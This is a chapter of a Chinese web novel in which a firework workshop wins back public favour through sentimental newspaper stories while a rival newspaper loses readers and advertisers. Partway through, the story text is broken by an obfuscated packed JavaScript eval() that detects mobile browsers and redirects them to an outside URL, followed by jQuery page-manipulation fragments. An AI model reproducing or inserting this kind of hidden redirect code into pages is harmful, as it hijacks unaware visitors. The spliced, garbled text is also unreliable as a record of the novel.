81.星雨热潮
作品:《在地府考公上岸后》 “……结发为夫妻,恩爱两不疑。星雨烟花对于贺大有师傅来说,已经不仅仅是一个工坊,更是他和妻子一生的记忆。他亲手制作的每一枚烟花,都寄托着他深刻的感情,每当夜空燃起星雨烟花,对他来说,都好像是看见了妻子的笑脸……”
读到这里,王婶已经被感动的眼眶湿润。她这把年纪的人,最能打动她的早已不是小年轻死去活来的爱情,这种静水流深、白首与共的感情才最令她难以抵抗。她瞟了一眼王叔,王叔正在厨房刷碗,令她心里涌上淡淡的幸福。
男人不求他大富大贵,只求他知疼着热,把你放在心上。从这一点来看,贺大有的妻子嫁着了好男人了,她自己运气也不差。很快就是王叔的生日了,到那天,要不然也在院子里放点烟花,乐呵乐呵?也不知道这星雨烟花多少钱一个……
她继续往下读去:“……贺师傅的妻子虽然已经离去,但贺师傅的烟花让她在世界上永世长存。如果贺师傅的爱情观,就是一生只专注一人一事,那在这样的父母爱情熏陶下长大的孩子,又把烟花和爱情当成什么呢?明日,人间真情板块将会刊登星雨烟花工坊真情系列报道二,为大家讲述星雨烟花少东家贺元夕的故事,敬请期待。”
同时,她还扫到下面有行小字,只是字体有点小,她的老花眼看不清,便喊闺女:“给我念念这是什么。”
“各位读者,本报即日起开始征稿。如您也有在星雨烟花见证下的浪漫时刻,请来信告知我们。倘若您的来稿通过审核,我们将会把它刊登在星雨烟花工坊真情系列报道三《烟火一瞬光华,真情永垂不朽》上。来稿一经选中,可获得五千元稿费,版面有限,登完即止,来稿请寄南城区金凤街122号章编辑收。”
征稿?
王婶当然没有什么反应,但王姑娘的心立刻就小小活动了一下。类似的时刻……她还真的有。
那是前年的事情,七夕节的夜晚,她公司举行了联谊活动,地点就选在一条商业街。
那一夜商业街燃放的就是星雨烟花的招牌产品“花千树”,数十点火星升上夜空,在天空化为千百条银柳,久久不散,照亮了整个世界,摇曳的光影几乎链接起了人间和地府……
人人都仰着头,沉醉在这种美丽里,她也是其中一员。就在这时,她的手突然被人轻轻地碰了一下。
她抬头,认出那是自己的一个男同事。他进入公司三四年,一直是个小透明,跟她说的话也不超过十句,他羞涩地问:“请问我可以跟你合张影吗?”
他的声音很小,可在烟花炸裂的间隙,王姑娘还是听见了他的话语。她清楚这句话背后的潜台词,虽说她并不喜欢他,但在万缕银光下,他的面容显得那么真诚,令人不忍拒绝。
于是,她说:“好啊。”
以无比烂漫的烟花为背景,路人帮他们拍了一张合照,她比了一个剪刀手,男同事只是羞涩地微笑。
她本来还担心男同事会提出交往的要求,可他似乎拿到合影就满足了,深深地凝视了她片刻,男同事轻声说了句谢谢,便转身没入汹涌的人潮。
后来他没来上班。听其他同事说,他难以在羊城立足,决定还是回原籍发展。
那夜的烟花与合影,就是他能在这个城市抓住的一瞬光华。
明知没有未来,只有一瞬的美丽,但他仍然选择铭记此刻。
也许终将逝去,但依然热烈的存在过,这就够了,不是吗?
也许,她应该把这件事投上羊城晚报,她不能回应他的心意,但那份情感依然纯澈真挚,像是星雨的烟火一样,值得感动更多的人。
王婶不知道王姑娘想什么,但对于系列报道的热情依然催动她买了第二天的报纸。这个标题依然充满着吸引力:《比翼连理情不负红尘遍开星雨花——星雨烟花工坊真情系列报道二》
这一篇报道,说的是星雨烟花工坊少东家与小师妹的爱情故事,两人在工作中互生情愫,愿意同甘共苦再创业。
“……在母亲投胎前,父亲没有勇气去送她最后一程,但他燃起了满天的烟花,母亲看到烟花时,笑着说,她虽然不知道我是谁,但烟花让她感到非常幸福。母亲和爱人,都是我生命中最重要的女人,为了她们,我也希望把这份美丽传递到世界的所有角落,让大家都能感受到被爱的幸福……”
如果说贺大有的故事激起了王婶对好男人的认同,这个故事则切中了王婶对好女婿的期许:身为有产业的二代,丝毫没有纨绔气息,吃苦耐劳,踏实肯干不说,还有白手起家的志气,对待感情也是朴素慎重,跟现在的小年轻一比,那真是天上地下。
可恨家里的丫头不懂事,高不成低不就,要是也能找个这样的女婿,那有多好?
除了爱情故事,这篇报道还写了贺元夕的创业计划,据说他打算引入全新的机械,让星雨烟花的在保证质量的同时,产量翻番,价格折半,为大家带来更加物美价廉的产品。
哎呦,不知道他什么时候开厂啊?还有两个月老王就要过生日了,不知道能不能在那之前买到便宜的星雨烟花啊?
王婶的想法,颇具代表性,此刻,街头巷尾已经多了不少讨论声:“他大姑,你看报纸没有?”
“看了!看了!星雨烟花工坊是吧?这父子两代都是痴情种子,真不错啊!可恨这么好的人,还有那些黑心肝的小人泼他们脏水,也不怕烂了舌头!”
“就是,就是!越是这样,我们越要支持,他们那个少东家不是要开厂吗?开厂之后价格就便宜了,今年过年,咱们也买点星雨的鞭炮,不买飞天烟花厂的了?”
“好啊!飞天的烟花除了便宜,别的都不咋样,反正都得买,我干嘛给这种小人送钱,不给诚实的生意人?咱一家买它个一万响,也是过节一次么!”
至于羊城晚报报社,气氛可就没那么和谐了。报社的头面人物齐聚一堂,销售经理拿出最近两天报纸的销量报表给大家看:一条直线如瀑布落九天,短短两天时间,销量便暴跌50%,报纸损失难以估量。
坏消息还不只这一个,广告部的负责人也很沉痛的告诉大家,已经有一小半跟报纸签了约的品牌打算撤单了,尤其是食品药品和机械制造这两个行业的品牌,几乎完全跑光了!解约理由都非常统一:“贵报纸的信誉破产,不利于其塑造良好的品牌形象。”
食品药品和机械制造行业的广告费一向丰厚又稳定,这个损失简直令人痛彻心扉!
但是没办法,这两个行业都是极度依赖消费者信任的,现在羊城晚报的编辑做黑公关?要是继续在这家报纸上登广告,那读者该怎么想他们品牌?
虽说不一定会被质疑,但这种烂事能不沾边就不沾边,毕竟信任得来不易,要崩塌可就是那么一天半天的事情,由不得人家不小心。
报社董事长坐在上头,脸色阴沉的吓死人:“还有多少广告商没有解约?”
“大概20多家吧……”
“都是什么行业的?”
“婚介中心和皮肤病诊所……”
能刊登什么样的广告,往往决定了报纸的档次。像是《地产资讯》这种报纸,大多接到的都是装修家居的广告,社会新闻类的报纸则多是接到食品药品和日化快消类广告。
至于皮肤病诊所跟婚介中心,那都是街头小广告了,董事长一闭眼睛,好么,赫赫有名的羊城晚报,在整个媒体行业都能问鼎三甲,现在成了不入流的街头报纸了!
他强压怒气:“就没有回旋余地了么?优惠一些费用,让他们不要解约!”不管怎么样,档次掉下去就提不起来了,亏本也要把这些厂商留住!
“这个……”广告部负责人都不敢说话了,他哆哆嗦嗦地把自己了解到的情况说了出来:“恐怕不行……这几家厂商愿意出违约
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16977271|191265||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
金,他们已经转投羊城小报了……”
世间之事,一起一落。踩着羊城晚报上位的羊城小报,这一次是赚的盆满钵满。揭露黑公关的报道让他们树立起了正直敢言的形象,包括之前报道名人隐私八卦的事情,也都被男性读者认为是“揭露上流社会的浮华”、“抨击娱乐圈的花花风气”。
而人间真情板块的系列报道,更是让不少读者认为这家报纸不是只懂得哗众取宠,也愿意弘扬世间温情,让不少家庭主妇对它颇有好感。羊城小报的定位一下鸟枪换炮,成为了影响主流群体的报纸之一,跟之前只有少女读者的情况不可同日而语!
真他娘的倒反天罡!
董事长在心里恨恨的骂了一句,这才转向主编,语气里已经没有一丝火气:“那个柴编辑呢?你是怎么处理的?”
主编打个寒噤,董事长越是这样,越证明他已经怒到极点,他立马站起来道:“我已经让他解职回家去了……”
“解职回家?”董事长大怒,重重一拍桌子:“他拿我们报纸的公信力换了五千万,现在解职回家就算完事?”
他唇边露出一个阴狠的笑容:“你是他的顶头上司,肯定知道他的小辫子……回去查一查,我要让他在整个业界混不下去!”
“是!”
羊城晚报总部自是一番鸡飞狗跳不提,而舆论战的成果,已经在大街小巷流传开来。人人都在讨论贺家父子的爱情,还有人赞叹星雨烟花的质量好。
祝平安跟温尔雅从街上走过,已经听了满耳朵这样的讨论。她不由得用极其佩服的眼神看着温尔雅:两天内兵不血刃地扭转了局势,牛啊!
感受到意中人赞许的目光,温尔雅也觉自豪,连脚步都更加轻快了。最近这个案子张松鹤几乎一点没插手,总是神出鬼没的,让他有了大大的露脸机会,他不由得在心里暗暗祈祷,张松鹤一辈子都不要再来管闲事。
路过柴编辑家时,隐隐听到里面传来吵架声:“……是你说这里有污染的,非拉我们社团跟你一起造势,谁知你小子玩我们!我们也是又出人又出力,凭什么五千万你一个人独吞!给我拿出来!”
怪不得从昨天起,就没有倒计时条幅寄来了,原来柴编辑也是自身难保啊!
祝平安跟温尔雅相视一笑,这种朋友间的吵架,他们可管不了,让柴编辑自己对付去吧。
行不多时,他们已经来到了星雨烟花工坊,这里也已经大变样了。
几天前,这里还到处都是环保组织的抗议团体,可现在,这些人都无声无息的不见了,空留一地的环保传单,还有油漆红印和垃圾。
汪师兄正带着一堆人在门口搞清洁,见到他们来了,脸上的笑容都真心多了:“二位来了?欢迎欢迎!”
他拉着温尔雅的手握了握:“我听师妹说了,这次的事情多亏你们照顾,这才揭露那个飞天烟花厂的阴谋,现在,闹事的也没有了,我们工坊又有了名气,好多新客户都想找我们订货呢!贺师兄一走,这些事情都要我来盯,我都忙不过来了!”
温尔雅温和回应:“不敢当,这都是我们组长的功劳,我只是打打下手而已。”
他这么轻易就把功劳让出来,祝平安可不敢腆着脸照单全收:“哪里哪里,该你的功劳就是你的,这件事我可没帮上多少忙!”
汪师兄引着两人进门:“贺师兄已经跟您二位说了吧?他今天回来就是跟师父谈分家的事情,您二位能不能……别让他分家?”
他面有难色:“我跟师父一样,就喜欢研究烟花,不是经商的材料。贺师兄要是一走,烟花工坊恐怕也支应不了多久,都是一家人,何必闹得难堪呢?”
他吞吞吐吐,觉得自己说这个是强人所难,已经做好了被回绝的准备。谁知,祝平安却对他笑了笑。
“没问题。”祝平安跟温尔雅对视一笑,“我们就是为了这个来的。”

